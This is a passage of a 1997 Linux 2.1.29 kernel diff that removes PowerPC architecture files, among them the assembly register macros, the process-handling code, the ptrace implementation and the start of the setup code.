len) -{ - unsigned char *io_ptr = (unsigned char *)(_IO_BASE+port); - while (len-- > 0) - { - *io_ptr = *ptr++; - } -} - -#if 0 -void outsw(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - while (len-- > 0) - { - *io_ptr = _LE_to_BE_short(*ptr++); - } -} -#else -void outsw(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - _outsw(io_ptr, ptr, len); -} -#endif - -void outsw_unswapped(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - while (len-- > 0) - { - *io_ptr = *ptr++; - } -} - -void outsl(int port, long *ptr, int len) -{ - unsigned long *io_ptr = (unsigned long *)(_IO_BASE+port); - while (len-- > 0) - { - *io_ptr = _LE_to_BE_long(*ptr++); - } -} - -unsigned char outb_p(unsigned char val,int port) { return (outb(val,port)); } -unsigned short outw_p(unsigned short val,int port) { return (outw(val,port)); } -unsigned long outl_p(unsigned long val,int port) { return (outl(val,port)); } - - -/* makes writing to the ibm acorn power management stuff easier -- Cort */ -/* args in forn of PA.B as in tech spec for ibm carolina */ -void ibm_write(unsigned char val,unsigned int port) -{ -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/ppc_asm.tmpl linux/arch/ppc/kernel/ppc_asm.tmpl --- linux-2.1.29/arch/ppc/kernel/ppc_asm.tmpl Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/ppc_asm.tmpl Wed Dec 31 19:00:00 1969 @@ -1,170 +0,0 @@ -/* - * This file contains all the macros and symbols which define - * a PowerPC assembly language environment. - */ - -#define _TEXT()\ - .text - -#if 0 /* Old way */ -#define _EXTERN(n) .##n - -#define _GLOBAL(n)\ - .globl n;\ -n: .long _EXTERN(n);\ - .globl _EXTERN(n);\ -_EXTERN(n): -#else -#define _EXTERN(n) n - -#define SYMBOL_NAME(x) x - -#define _GLOBAL(n)\ - .globl n;\ -n: -#endif - -#ifndef FALSE -#define FALSE 0 -#define TRUE 1 -#endif - -#define _ORG(n)\ - .org n - -/* Register names */ -#define r0 0 -#define r1 1 -#define r2 2 -#define r3 3 -#define r4 4 -#define r5 5 -#define r6 6 -#define r7 7 -#define r8 8 -#define r9 9 -#define r10 10 -#define r11 11 -#define r12 12 -#define r13 13 -#define r14 14 -#define r15 15 -#define r16 16 -#define r17 17 -#define r18 18 -#define r19 19 -#define r20 20 -#define r21 21 -#define r22 22 -#define r23 23 -#define r24 24 -#define r25 25 -#define r26 26 -#define r27 27 -#define r28 28 -#define r29 29 -#define r30 30 -#define r31 31 - -#define fr0 0 -#define fr1 1 -#define fr2 2 -#define fr3 3 -#define fr4 4 -#define fr5 5 -#define fr6 6 -#define fr7 7 -#define fr8 8 -#define fr9 9 -#define fr10 10 -#define fr11 11 -#define fr12 12 -#define fr13 13 -#define fr14 14 -#define fr15 15 -#define fr16 16 -#define fr17 17 -#define fr18 18 -#define fr19 19 -#define fr20 20 -#define fr21 21 -#define fr22 22 -#define fr23 23 -#define fr24 24 -#define fr25 25 -#define fr26 26 -#define fr27 27 -#define fr28 28 -#define fr29 29 -#define fr30 30 -#define fr31 31 - -/* Some special registers */ - -#define TBRU 269 /* Time base Upper/Lower (Reading) */ -#define TBRL 268 -#define TBWU 284 /* Time base Upper/Lower (Writing) */ -#define TBWL 285 -#define XER 1 -#define LR 8 -#define CTR 9 -#define HID0 1008 /* Hardware Implementation */ -#define PVR 287 /* Processor Version */ -#define IBAT0U 528 /* Instruction BAT #0 Upper/Lower */ -#define IBAT0L 529 -#define IBAT1U 530 /* Instruction BAT #1 Upper/Lower */ -#define IBAT1L 531 -#define IBAT2U 532 /* Instruction BAT #2 Upper/Lower */ -#define IBAT2L 533 -#define IBAT3U 534 /* Instruction BAT #3 Upper/Lower */ -#define IBAT3L 535 -#define DBAT0U 536 /* Data BAT #0 Upper/Lower */ -#define DBAT0L 537 -#define DBAT1U 538 /* Data BAT #1 Upper/Lower */ -#define DBAT1L 539 -#define DBAT2U 540 /* Data BAT #2 Upper/Lower */ -#define DBAT2L 541 -#define DBAT3U 542 /* Data BAT #3 Upper/Lower */ -#define DBAT3L 543 -#define DMISS 976 /* TLB Lookup/Refresh registers */ -#define DCMP 977 -#define HASH1 978 -#define HASH2 979 -#define IMISS 980 -#define ICMP 981 -#define RPA 982 -#define SDR1 25 /* MMU hash base register */ -#define DAR 19 /* Data Address Register */ -#define SPR0 272 /* Supervisor Private Registers */ -#define SPR1 273 -#define SPR2 274 -#define SPR3 275 -#define DSISR 18 -#define SRR0 26 /* Saved Registers (exception) */ -#define SRR1 27 -#define IABR 1010 /* Instruction Address Breakpoint */ -#define DEC 22 /* Decrementer */ -#define EAR 282 /* External Address Register */ - -/* Segment Registers */ -#define SR0 0 -#define SR1 1 -#define SR2 2 -#define SR3 3 -#define SR4 4 -#define SR5 5 -#define SR6 6 -#define SR7 7 -#define SR8 8 -#define SR9 9 -#define SR10 10 -#define SR11 11 -#define SR12 12 -#define SR13 13 -#define SR14 14 -#define SR15 15 - -/* Missing instructions */ -#define bdne bc 0,2, - -#include "asm/ppc_machine.h" diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/process.c linux/arch/ppc/kernel/process.c --- linux-2.1.29/arch/ppc/kernel/process.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/kernel/process.c Wed Dec 31 19:00:00 1969 @@ -1,369 +0,0 @@ -/* - * linux/arch/ppc/kernel/process.c - * - * Copyright (C) 1995 Linus Torvalds - * Adapted for PowerPC by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -/* - * This file handles the architecture-dependent parts of process handling.. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#include -int dump_fpu(void); -void hard_reset_now(void); -void switch_to(struct task_struct *, struct task_struct *); -void copy_thread(int,unsigned long,unsigned long,struct task_struct *, - struct pt_regs *); -void print_backtrace(unsigned long *); - -int -dump_fpu(void) -{ - return (1); -} - - -/* check to make sure the kernel stack is healthy */ -int check_stack(struct task_struct *tsk) -{ - extern unsigned long init_kernel_stack[PAGE_SIZE/sizeof(long)]; - int ret = 0; - int i; - - /* skip check in init_kernel_task -- swapper */ - if ( tsk->kernel_stack_page == (unsigned long)&init_kernel_stack ) - return; - /* check bounds on stack -- above/below kstack page */ - if ( (tsk->tss.ksp-1 & KERNEL_STACK_MASK) != tsk->kernel_stack_page ) - { - printk("check_stack(): not in bounds %s/%d ksp %x/%x\n", - tsk->comm,tsk->pid,tsk->tss.ksp,tsk->kernel_stack_page); - ret |= 1; - } - - /* check for magic on kstack */ - if ( *(unsigned long *)(tsk->kernel_stack_page) != STACK_MAGIC) - { - printk("check_stack(): no magic %s/%d ksp %x/%x magic %x\n", - tsk->comm,tsk->pid,tsk->tss.ksp,tsk->kernel_stack_page, - *(unsigned long *)(tsk->kernel_stack_page)); - ret |= 2; - } - -#ifdef KERNEL_STACK_BUFFER - /* check extra padding page under kernel stack */ - for ( i = PAGE_SIZE/sizeof(long) ; i >= 1; i--) - { - struct pt_regs *regs; - - if ( *((unsigned long *)(tsk->kernel_stack_page)-1) ) - { - printk("check_stack(): padding touched %s/%d ksp %x/%x value %x/%d\n", - tsk->comm,tsk->pid,tsk->tss.ksp,tsk->kernel_stack_page, - *(unsigned long *)(tsk->kernel_stack_page-i),i*sizeof(long)); - regs = (struct pt_regs *)(tsk->kernel_stack_page-(i*sizeof(long))); - printk("marker %x trap %x\n", regs->marker,regs->trap); - print_backtrace((unsigned long *)(tsk->tss.ksp)); - - ret |= 4; - break; - } - } -#endif - -#if 0 - if (ret) - panic("bad stack"); -#endif - return(ret); -} - - -void -switch_to(struct task_struct *prev, struct task_struct *new) -{ - struct pt_regs *regs; - struct thread_struct *new_tss, *old_tss; - int s = _disable_interrupts(); - regs = (struct pt_regs *)(new->tss.ksp); -#if 1 - check_stack(prev); - check_stack(new); -#endif - /* if a process has used fp 15 times, then turn - on the fpu for good otherwise turn it on with the fp - exception handler as needed. - skip this for kernel tasks. - -- Cort */ - if ( (regs->msr & MSR_FP)&&(regs->msr & MSR_PR)&&(new->tss.fp_used < 15) ) - { -#if 0 - printk("turning off fpu: %s/%d fp_used %d\n", - new->comm,new->pid,new->tss.fp_used); -#endif - regs->msr = regs->msr & ~MSR_FP; - } -#if 0 - printk("%s/%d -> %s/%d\n",prev->comm,prev->pid,new->comm,new->pid); -#endif - new_tss = &new->tss; - old_tss = ¤t->tss; - current_set[0] = new; - _switch(old_tss, new_tss); - _enable_interrupts(s); -} - -asmlinkage int sys_debug(unsigned long r3) -{ - lock_kernel(); - if (!strcmp(current->comm,"crashme")) - printk("sys_debug(): r3 (syscall) %d\n", r3); - unlock_kernel(); - return 0; -} - -asmlinkage int sys_idle(void) -{ - int ret = -EPERM; - - lock_kernel(); - if (current->pid != 0) - goto out; - - /* endless idle loop with no priority at all */ - current->counter = -100; - for (;;) { - schedule(); - } - ret = 0; -out: - unlock_kernel(); - return ret; -} - -void show_regs(struct pt_regs * regs) -{ -} - -void exit_thread(void) -{ -} - -void flush_thread(void) -{ -} - -void -release_thread(struct task_struct *t) -{ -} - -/* - * Copy a thread.. - */ -int copy_thread(int nr, unsigned long clone_flags, unsigned long usp, - struct task_struct * p, struct pt_regs * regs) -{ - int i; - SEGREG *segs; - struct pt_regs * childregs; - - /* Construct segment registers */ - segs = (SEGREG *)(p->tss.segs); - for (i = 0; i < 8; i++) - { - segs[i].ks = 0; - segs[i].kp = 1; -#if 0 - segs[i].vsid = i | (nr << 4); -#else - segs[i].vsid = i | ((nr * 10000) << 4); -#endif - } - if ((p->mm->context == 0) || (p->mm->count == 1)) - { -#if 0 - p->mm->context = ((nr)<<4); -#else - p->mm->context = ((nr*10000)<<4); -#endif - } - - /* Last 8 are shared with kernel & everybody else... */ - for (i = 8; i < 16; i++) - { - segs[i].ks = 0; - segs[i].kp = 1; - segs[i].vsid = i; - } - - /* Copy registers */ - childregs = ((struct pt_regs *) (p->kernel_stack_page + PAGE_SIZE)) - 2; - - *childregs = *regs; /* STRUCT COPY */ - childregs->gpr[3] = 0; /* Result from fork() */ - p->tss.ksp = (unsigned long)(childregs); - if (usp >= (unsigned long)regs) - { /* Stack is in kernel space - must adjust */ - childregs->gpr[1] = (long)(childregs+1); - } else - { /* Provided stack is in user space */ - childregs->gpr[1] = usp; - } - p->tss.fp_used = 0; - - return 0; -} - -/* - * fill in the user structure for a core dump.. - */ -void dump_thread(struct pt_regs * regs, struct user * dump) -{ -} - - -asmlinkage int sys_fork(int p1, int p2, int p3, int p4, int p5, int p6, struct pt_regs *regs) -{ - int ret; - - lock_kernel(); - ret = do_fork(SIGCHLD, regs->gpr[1], regs); - unlock_kernel(); - return ret; -} - -asmlinkage int sys_execve(unsigned long a0, unsigned long a1, unsigned long a2, - unsigned long a3, unsigned long a4, unsigned long a5, - struct pt_regs *regs) -{ - int error; - char * filename; - - lock_kernel(); - /* getname does it's own verification of the address - when it calls get_max_filename() but - it will assume it's valid if get_fs() == KERNEL_DS - which is always true on the ppc so we check - it here - - this doesn't completely check any of these data structures, - it just makes sure that the 1st long is in a good area - and from there we assume that it's safe then - -- Cort - */ - /* works now since get_fs/set_fs work properly */ -#if 0 - if ( verify_area(VERIFY_READ,(void *)a0,1) - && verify_area(VERIFY_READ,(void *)a1,1) - && verify_area(VERIFY_READ,(void *)a2,1) - ) - { - return -EFAULT; - } -#endif - error = getname((char *) a0, &filename); - if (error) - goto out; - flush_instruction_cache(); - error = do_execve(filename, (char **) a1, (char **) a2, regs); -#if 0 -if (error) -{ -printk("EXECVE - file = '%s', error = %d\n", filename, error); -} -#endif - putname(filename); -out: - unlock_kernel(); - return error; -} - -asmlinkage int sys_clone(int p1, int p2, int p3, int p4, int p5, int p6, struct pt_regs *regs) -{ - unsigned long clone_flags = p1; - int res; - - lock_kernel(); - res = do_fork(clone_flags, regs->gpr[1], regs); - unlock_kernel(); - return res; -} - -void -print_backtrace(unsigned long *sp) -{ -#if 0 - int cnt = 0; - printk("... Call backtrace:\n"); - while (verify_area(VERIFY_READ,sp,sizeof(long)) && *sp) - { - printk("%08X ", sp[1]); - sp = (unsigned long *)*sp; - if (++cnt == 8) - { - printk("\n"); - } - if (cnt > 32) break; - } - printk("\n"); -#endif -} - -void -print_user_backtrace(unsigned long *sp) -{ -#if 0 - int cnt = 0; - printk("... [User] Call backtrace:\n"); - while (verify_area(VERIFY_READ,sp,sizeof(long)) && *sp) - { - printk("%08X ", sp[1]); - sp = (unsigned long *)*sp; - if (++cnt == 8) - { - printk("\n"); - } - if (cnt > 16) break; - } - printk("\n"); -#endif -} - -void -print_kernel_backtrace(void) -{ -#if 0 - unsigned long *_get_SP(void); - print_backtrace(_get_SP()); -#endif -} -inline void start_thread(struct pt_regs * regs, - unsigned long eip, unsigned long esp) -{ - regs->nip = eip; - regs->gpr[1] = esp; - regs->msr = MSR_USER; - set_fs(USER_DS); -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/ptrace.c linux/arch/ppc/kernel/ptrace.c --- linux-2.1.29/arch/ppc/kernel/ptrace.c Sat May 10 18:17:09 1997 +++ linux/arch/ppc/kernel/ptrace.c Wed Dec 31 19:00:00 1969 @@ -1,601 +0,0 @@ -/* - * linux/arch/ppc/kernel/ptrace.c - * - * Copyright (C) 1994 by Hamish Macdonald - * Taken from linux/kernel/ptrace.c and modified for M680x0. - * linux/kernel/ptrace.c is by Ross Biro 1/23/92, edited by Linus Torvalds - * - * Adapted from 'linux/arch/m68k/kernel/ptrace.c' - * PowerPC version by Gary Thomas (gdt@linuxppc.org) - * Modified by Cort Dougan (cort@cs.nmt.edu) - * - * This file is subject to the terms and conditions of the GNU General - * Public License. See the file README.legal in the main directory of - * this archive for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -/* - * does not yet catch signals sent when the child dies. - * in exit.c or in signal.c. - */ - -/* Find the stack offset for a register, relative to tss.ksp. */ -#define PT_REG(reg) ((long)&((struct pt_regs *)0)->reg) -/* Mapping from PT_xxx to the stack offset at which the register is - saved. Notice that usp has no stack-slot and needs to be treated - specially (see get_reg/put_reg below). */ -static int regoff[] = { -}; - -/* change a pid into a task struct. */ -static inline struct task_struct * get_task(int pid) -{ - int i; - - for (i = 1; i < NR_TASKS; i++) { - if (task[i] != NULL && (task[i]->pid == pid)) - return task[i]; - } - return NULL; -} - -/* - * Get contents of register REGNO in task TASK. - */ -static inline long get_reg(struct task_struct *task, int regno) -{ - struct pt_regs *regs = task->tss.regs; - if (regno <= PT_R31) - { - return (regs->gpr[regno]); - } else - if (regno == PT_NIP) - { - return (regs->nip); - } else - if (regno == PT_MSR) - { - return (regs->msr); - } else - if (regno == PT_ORIG_R3) - { - return (regs->orig_gpr3); - } else - if (regno == PT_CTR) - { - return (regs->ctr); - } else - if (regno == PT_LNK) - { - return (regs->link); - } else - if (regno == PT_XER) - { - return (regs->xer); - } else - if (regno == PT_CCR) - { - return (regs->ccr); - } - return (0); -} - -/* - * Write contents of register REGNO in task TASK. - */ -static inline int put_reg(struct task_struct *task, int regno, - unsigned long data) -{ - struct pt_regs *regs = task->tss.regs; - if (regno <= PT_R31) - { - regs->gpr[regno] = data; - } else - if (regno == PT_NIP) - { - regs->nip = data; - } else - if (regno == PT_MSR) - { - regs->msr = data; - } else - if (regno == PT_CTR) - { - regs->ctr = data; - } else - if (regno == PT_LNK) - { - regs->link = data; - } else - if (regno == PT_XER) - { - regs->xer = data; - } else - if (regno == PT_CCR) - { - regs->ccr = data; - } else - { /* Invalid register */ - return (-1); - } - return (0); -} - -static inline -set_single_step(struct task_struct *task) -{ - struct pt_regs *regs = task->tss.regs; -printk("Set single step - Task: %x, Regs: %x", task, regs); -printk(", MSR: %x/", regs->msr); - regs->msr |= MSR_SE; -printk("%x\n", regs->msr); -} - -static inline -clear_single_step(struct task_struct *task) -{ - struct pt_regs *regs = task->tss.regs; - regs->msr &= ~MSR_SE; -} - -/* - * This routine gets a long from any process space by following the page - * tables. NOTE! You should check that the long isn't on a page boundary, - * and that it is in the task area before calling this: this routine does - * no checking. - * - */ -static unsigned long get_long(struct task_struct * tsk, - struct vm_area_struct * vma, unsigned long addr) -{ - pgd_t * pgdir; - pmd_t * pgmiddle; - pte_t * pgtable; - unsigned long page; - -repeat: - pgdir = pgd_offset(vma->vm_mm, addr); - if (pgd_none(*pgdir)) { - do_no_page(tsk, vma, addr, 0); - goto repeat; - } - if (pgd_bad(*pgdir)) { - printk("ptrace: bad page directory %08lx\n", pgd_val(*pgdir)); - pgd_clear(pgdir); - return 0; - } - pgmiddle = pmd_offset(pgdir,addr); - if (pmd_none(*pgmiddle)) { - do_no_page(tsk, vma, addr, 0); - goto repeat; - } - if (pmd_bad(*pgmiddle)) { - printk("ptrace: bad page directory %08lx\n", - pmd_val(*pgmiddle)); - pmd_clear(pgmiddle); - return 0; - } - pgtable = pte_offset(pgmiddle, addr); - if (!pte_present(*pgtable)) { - do_no_page(tsk, vma, addr, 0); - goto repeat; - } - page = pte_page(*pgtable); -/* this is a hack for non-kernel-mapped video buffers and similar */ - if (page >= high_memory) - return 0; - page += addr & ~PAGE_MASK; - return *(unsigned long *) page; -} - -/* - * This routine puts a long into any process space by following the page - * tables. NOTE! You should check that the long isn't on a page boundary, - * and that it is in the task area before calling this: this routine does - * no checking. - * - * Now keeps R/W state of page so that a text page stays readonly - * even if a debugger scribbles breakpoints into it. -M.U- - */ -static void put_long(struct task_struct * tsk, struct vm_area_struct * vma, unsigned long addr, - unsigned long data) -{ - pgd_t *pgdir; - pmd_t *pgmiddle; - pte_t *pgtable; - unsigned long page; - -repeat: - pgdir = pgd_offset(vma->vm_mm, addr); - if (!pgd_present(*pgdir)) { - do_no_page(tsk, vma, addr, 1); - goto repeat; - } - if (pgd_bad(*pgdir)) { - printk("ptrace: bad page directory %08lx\n", pgd_val(*pgdir)); - pgd_clear(pgdir); - return; - } - pgmiddle = pmd_offset(pgdir,addr); - if (pmd_none(*pgmiddle)) { - do_no_page(tsk, vma, addr, 1); - goto repeat; - } - if (pmd_bad(*pgmiddle)) { - printk("ptrace: bad page directory %08lx\n", - pmd_val(*pgmiddle)); - pmd_clear(pgmiddle); - return; - } - pgtable = pte_offset(pgmiddle, addr); - if (!pte_present(*pgtable)) { - do_no_page(tsk, vma, addr, 1); - goto repeat; - } - page = pte_page(*pgtable); - if (!pte_write(*pgtable)) { - do_wp_page(tsk, vma, addr, 2); - goto repeat; - } -/* this is a hack for non-kernel-mapped video buffers and similar */ - if (page < high_memory) { - *(unsigned long *) (page + (addr & ~PAGE_MASK)) = data; - } -/* we're bypassing pagetables, so we have to set the dirty bit ourselves */ -/* this should also re-instate whatever read-only mode there was before */ - *pgtable = pte_mkdirty(mk_pte(page, vma->vm_page_prot)); - flush_tlb_all(); -} - -static struct vm_area_struct * find_extend_vma(struct task_struct * tsk, unsigned long addr) -{ - struct vm_area_struct * vma; - - addr &= PAGE_MASK; - vma = find_vma(tsk->mm,addr); - if (!vma) - return NULL; - if (vma->vm_start <= addr) - return vma; - if (!(vma->vm_flags & VM_GROWSDOWN)) - return NULL; - if (vma->vm_end - addr > tsk->rlim[RLIMIT_STACK].rlim_cur) - return NULL; - vma->vm_offset -= vma->vm_start - addr; - vma->vm_start = addr; - return vma; -} - -/* - * This routine checks the page boundaries, and that the offset is - * within the task area. It then calls get_long() to read a long. - */ -static int read_long(struct task_struct * tsk, unsigned long addr, - unsigned long * result) -{ - struct vm_area_struct * vma = find_extend_vma(tsk, addr); - - if (!vma) - return -EIO; - if ((addr & ~PAGE_MASK) > PAGE_SIZE-sizeof(long)) { - unsigned long low,high; - struct vm_area_struct * vma_low = vma; - - if (addr + sizeof(long) >= vma->vm_end) { - vma_low = vma->vm_next; - if (!vma_low || vma_low->vm_start != vma->vm_end) - return -EIO; - } - high = get_long(tsk, vma,addr & ~(sizeof(long)-1)); - low = get_long(tsk, vma_low,(addr+sizeof(long)) & ~(sizeof(long)-1)); - switch (addr & (sizeof(long)-1)) { - case 3: - low >>= 8; - low |= high << 24; - break; - case 2: - low >>= 16; - low |= high << 16; - break; - case 1: - low >>= 24; - low |= high << 8; - break; - } - *result = low; - } else - *result = get_long(tsk, vma,addr); - return 0; -} - -/* - * This routine checks the page boundaries, and that the offset is - * within the task area. It then calls put_long() to write a long. - */ -static int write_long(struct task_struct * tsk, unsigned long addr, - unsigned long data) -{ - struct vm_area_struct * vma = find_extend_vma(tsk, addr); - - if (!vma) - return -EIO; - if ((addr & ~PAGE_MASK) > PAGE_SIZE-sizeof(long)) { - unsigned long low,high; - struct vm_area_struct * vma_low = vma; - - if (addr + sizeof(long) >= vma->vm_end) { - vma_low = vma->vm_next; - if (!vma_low || vma_low->vm_start != vma->vm_end) - return -EIO; - } - high = get_long(tsk, vma,addr & ~(sizeof(long)-1)); - low = get_long(tsk, vma_low,(addr+sizeof(long)) & ~(sizeof(long)-1)); - switch (addr & (sizeof(long)-1)) { - case 0: /* shouldn't happen, but safety first */ - high = data; - break; - case 3: - low &= 0x000000ff; - low |= data << 8; - high &= ~0xff; - high |= data >> 24; - break; - case 2: - low &= 0x0000ffff; - low |= data << 16; - high &= ~0xffff; - high |= data >> 16; - break; - case 1: - low &= 0x00ffffff; - low |= data << 24; - high &= ~0xffffff; - high |= data >> 8; - break; - } - put_long(tsk, vma,addr & ~(sizeof(long)-1),high); - put_long(tsk, vma_low,(addr+sizeof(long)) & ~(sizeof(long)-1),low); - } else - put_long(tsk, vma,addr,data); - return 0; -} - -asmlinkage int sys_ptrace(long request, long pid, long addr, long data) -{ - struct task_struct *child; - struct user * dummy = NULL; - int ret = -EPERM; - - lock_kernel(); - if (request == PTRACE_TRACEME) { - /* are we already being traced? */ - if (current->flags & PF_PTRACED) - goto out; - /* set the ptrace bit in the process flags. */ - current->flags |= PF_PTRACED; - ret = 0; - goto out; - } - if (pid == 1) /* you may not mess with init */ - goto out; - ret = -ESRCH; - if (!(child = get_task(pid))) - goto out; - ret = -EPERM; - if (request == PTRACE_ATTACH) { - if (child == current) - goto out; - if ((!child->dumpable || - (current->uid != child->euid) || - (current->uid != child->uid) || - (current->gid != child->egid) || - (current->gid != child->gid)) && !suser()) - goto out; - /* the same process cannot be attached many times */ - if (child->flags & PF_PTRACED) - goto out; - child->flags |= PF_PTRACED; - if (child->p_pptr != current) { - REMOVE_LINKS(child); - child->p_pptr = current; - SET_LINKS(child); - } - send_sig(SIGSTOP, child, 1); - ret = 0; - goto out; - } - ret = -ESRCH; - if (!(child->flags & PF_PTRACED)) - goto out; - if (child->state != TASK_STOPPED) { - if (request != PTRACE_KILL) - goto out; - } - if (child->p_pptr != current) - goto out; - - switch (request) { - /* If I and D space are separate, these will need to be fixed. */ - case PTRACE_PEEKTEXT: /* read word at location addr. */ - case PTRACE_PEEKDATA: { - unsigned long tmp; - - ret = read_long(child, addr, &tmp); - if (ret < 0) - goto out; - ret = verify_area(VERIFY_WRITE, (void *) data, sizeof(long)); - if (!ret) - put_user(tmp, (unsigned long *) data); - goto out; - } - - /* read the word at location addr in the USER area. */ - case PTRACE_PEEKUSR: { - unsigned long tmp; - - if ((addr & 3) || addr < 0 || addr >= sizeof(struct user)) - return -EIO; - - ret = verify_area(VERIFY_WRITE, (void *) data, - sizeof(long)); - if (ret) - goto out; - tmp = 0; /* Default return condition */ - addr = addr >> 2; /* temporary hack. */ - if (addr < PT_FPR0) - tmp = get_reg(child, addr); -#if 0 - else if (addr >= PT_FPR0 && addr < PT_FPR31) - tmp = child->tss.fpr[addr - PT_FPR0]; -#endif - else - ret = -EIO; - if(!ret) - put_user(tmp,(unsigned long *) data); - goto out; - } - - /* If I and D space are separate, this will have to be fixed. */ - case PTRACE_POKETEXT: /* write the word at location addr. */ - case PTRACE_POKEDATA: - ret = write_long(child,addr,data); - goto out; - - case PTRACE_POKEUSR: /* write the word at location addr in the USER area */ - ret = -EIO; - if ((addr & 3) || addr < 0 || addr >= sizeof(struct user)) - goto out; - - addr = addr >> 2; /* temporary hack. */ - - if (addr == PT_ORIG_R3) - goto out; -#if 0 /* Let this check be in 'put_reg' */ - if (addr == PT_SR) { - data &= SR_MASK; - data <<= 16; - data |= get_reg(child, PT_SR) & ~(SR_MASK << 16); - } -#endif - if (addr < PT_FPR0) { - if (put_reg(child, addr, data)) - goto out; - ret = 0; - goto out; - } -#if 0 - if (addr >= 21 && addr < 48) { - child->tss.fp[addr - 21] = data; - ret = 0; - goto out; - } -#endif - goto out; - - case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */ - case PTRACE_CONT: { /* restart after signal. */ - ret = -EIO; - if ((unsigned long) data >= NSIG) - goto out; - if (request == PTRACE_SYSCALL) - child->flags |= PF_TRACESYS; - else - child->flags &= ~PF_TRACESYS; - child->exit_code = data; - wake_up_process(child); - /* make sure the single step bit is not set. */ - clear_single_step(child); - ret = 0; - goto out; - } - -/* - * make the child exit. Best I can do is send it a sigkill. - * perhaps it should be put in the status that it wants to - * exit. - */ - case PTRACE_KILL: { - ret = 0; - if (child->state == TASK_ZOMBIE) /* already dead */ - goto out; - wake_up_process(child); - child->exit_code = SIGKILL; - /* make sure the single step bit is not set. */ - clear_single_step(child); - goto out; - } - - case PTRACE_SINGLESTEP: { /* set the trap flag. */ - ret = -EIO; - if ((unsigned long) data >= NSIG) - goto out; - child->flags &= ~PF_TRACESYS; - set_single_step(child); - wake_up_process(child); - child->exit_code = data; - /* give it a chance to run. */ - ret = 0; - goto out; - } - - case PTRACE_DETACH: { /* detach a process that was attached. */ - ret = -EIO; - if ((unsigned long) data >= NSIG) - goto out; - child->flags &= ~(PF_PTRACED|PF_TRACESYS); - wake_up_process(child); - child->exit_code = data; - REMOVE_LINKS(child); - child->p_pptr = child->p_opptr; - SET_LINKS(child); - /* make sure the single step bit is not set. */ - clear_single_step(child); - ret = 0; - goto out; - } - - default: - ret = -EIO; - goto out; - } -out: - unlock_kernel(); - return ret; -} - -asmlinkage void syscall_trace(void) -{ - lock_kernel(); - if ((current->flags & (PF_PTRACED|PF_TRACESYS)) - != (PF_PTRACED|PF_TRACESYS)) - goto out; - current->exit_code = SIGTRAP; - current->state = TASK_STOPPED; - notify_parent(current); - schedule(); - /* - * this isn't the same as continuing with a signal, but it will do - * for normal use. strace only continues with a signal if the - * stopping signal is not SIGTRAP. -brl - */ - if (current->exit_code) - current->signal |= (1 << (current->exit_code - 1)); - current->exit_code = 0; -out: - unlock_kernel(); -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/setup.c linux/arch/ppc/kernel/setup.c --- linux-2.1.29/arch/ppc/kernel/setup.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/setup.c Wed Dec 31 19:00:00 1969 @@ -1,409 +0,0 @@ -/* - * linux/arch/ppc/kernel/setup.c - * - * Copyright (C) 1995 Linus Torvalds - * Adapted from 'alpha' version by Gary Thomas - * Modified by Cort Dougan (cort@cs.nmt.edu) - */ - -/* - * bootup setup stuff.. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -extern unsigned long *end_of_DRAM; -extern PTE *Hash; -extern unsigned long Hash_size, Hash_mask; -extern int probingmem; -unsigned long empty_zero_page[1024]; - -unsigned char aux_device_present; -#ifdef CONFIG_BLK_DEV_RAM -extern int rd_doload; /* 1 = load ramdisk, 0 = don't load */ -extern int rd_prompt; /* 1 = prompt for ramdisk, 0 = don't prompt */ -extern int rd_image_start; /* starting block # of image */ -#endif - -#undef HASHSTATS - -extern unsigned long isBeBox[]; - -/* copy of the residual data */ -RESIDUAL res; -unsigned long resptr = 0; /* ptr to residual data from hw */ - -/* - * The format of "screen_info" is strange, and due to early - * i386-setup code. This is just enough to make the console - * code think we're on a EGA+ colour display. - */ - /* this is changed only in minor ways from the original - -- Cort - */ -struct screen_info screen_info = { - 0, 25, /* orig-x, orig-y */ - { 0, 0 }, /* unused */ - 0, /* orig-video-page */ - 0, /* orig-video-mode */ - 80, /* orig-video-cols */ - 0,0,0, /* ega_ax, ega_bx, ega_cx */ - 25, /* orig-video-lines */ - 1, /* orig-video-isVGA */ - 16 /* orig-video-points */ -}; - - -unsigned long bios32_init(unsigned long memory_start, unsigned long memory_end) -{ - return memory_start; -} - -#ifdef HASHSTATS -unsigned long *hashhits; -#endif - -extern unsigned long _TotalMemory; -/* find the physical size of RAM and setup hardware hash table */ -unsigned long *find_end_of_memory(void) -{ - extern BAT BAT2; - _TotalMemory = res.TotalMemory; - - if (_TotalMemory == 0 ) - { - printk("Ramsize from residual data was 0 -- Probing for value\n"); - /* this needs be done differently since the bats actually map - addresses beyond physical memory! -- Cort */ -#if 0 - probingmem = 1; - while ( probingmem ) - { - _TotalMemory += 0x00800000; /* 8M */ - *(unsigned long *)_TotalMemory+KERNELBASE; - } - _TotalMemory -= 0x00800000; -#else - _TotalMemory = 0x03000000; -#endif - printk("Ramsize probed to be %dM\n", _TotalMemory>>20); - } - - /* setup BAT2 mapping so that it covers kernelbase to kernelbase+ramsize */ - switch(_TotalMemory) - { - case 0x01000000: /* 16M */ - BAT2.batu.bl = BL_16M; - Hash_size = HASH_TABLE_SIZE_128K; - Hash_mask = HASH_TABLE_MASK_128K; - break; - case 0x00800000: /* 8M */ - BAT2.batu.bl = BL_8M; - Hash_size = HASH_TABLE_SIZE_64K; - Hash_mask = HASH_TABLE_MASK_64K; - break; - case 0x01800000: /* 24M */ - case 0x02000000: /* 32M */ - BAT2.batu.bl = BL_32M; - Hash_size = HASH_TABLE_SIZE_256K; - Hash_mask = HASH_TABLE_MASK_256K; - break; - case 